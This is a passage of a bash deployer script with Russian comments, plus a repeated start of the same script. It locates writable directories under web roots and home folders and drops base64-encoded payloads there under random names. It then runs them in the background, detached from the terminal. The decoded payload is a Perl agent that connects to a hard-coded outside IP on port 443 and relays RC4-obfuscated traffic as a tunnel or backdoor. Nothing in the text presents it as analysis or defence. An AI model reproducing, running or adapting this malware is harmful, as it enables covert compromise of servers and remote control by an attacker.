ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #63 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #63 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 64 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNTgnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #64 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #64 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi # --- КОНЕЦ ПОСЛЕДОВАТЕЛЬНОСТИ ЗАПУСКА --- echo "---" echo "[RUNNER] Все компоненты отправлены в фоновый режим." echo "[RUNNER] Скрипт-деплоер завершает свою работу." exit 0 #!/bin/bash # ========================================================== # УНИВЕРСАЛЬНЫЙ ДЕПЛОЕР "FIRE-AND-FORGET" # - Поддерживает запуск бинарных файлов и Perl-скриптов # - Находит подходящие директории для развертывания # - Запускает компоненты под случайными именами # - Немедленно завершается # ========================================================== # ========================================================== # НАСТРОЙКИ # ========================================================== PAUSE_SECONDS=2 RANDOM_NAME_LENGTH=10 SEARCH_PATHS=("/var/www/" "/srv/" "/usr/share/nginx/" "/home/") MIN_DIR_DEPTH=4 # ========================================================== echo "[RUNNER] Запускаем сканирование системы на наличие подходящих директорий..." SHUFFLE_CMD="shuf" if ! command -v shuf &> /dev/null; then SHUFFLE_CMD="sort -R"; fi mapfile -t candidate_dirs < <(find "${SEARCH_PATHS[@]}" \ -path '/proc' -prune -o -path '/sys' -prune -o -path '/dev' -prune -o -path '/run' -prune -o \ -mindepth "$MIN_DIR_DEPTH" -type d -writable -executable -print 2>/dev/null | $SHUFFLE_CMD) dir_count=${#candidate_dirs[@]} if [ "$dir_count" -eq 0 ]; then echo "[RUNNER] КРИТИЧЕСКАЯ ОШИБКА: Не найдено ни одной подходящей директории для развертывания. Выход." exit 1 fi echo "[RUNNER] Найдено $dir_count подходящих директорий. Начинаем развертывание компонентов..." echo "---" dir_index=0 first_run=true # --- НАЧАЛО ЗАПУСКА КОМПОНЕНТОВ --- if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 1 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 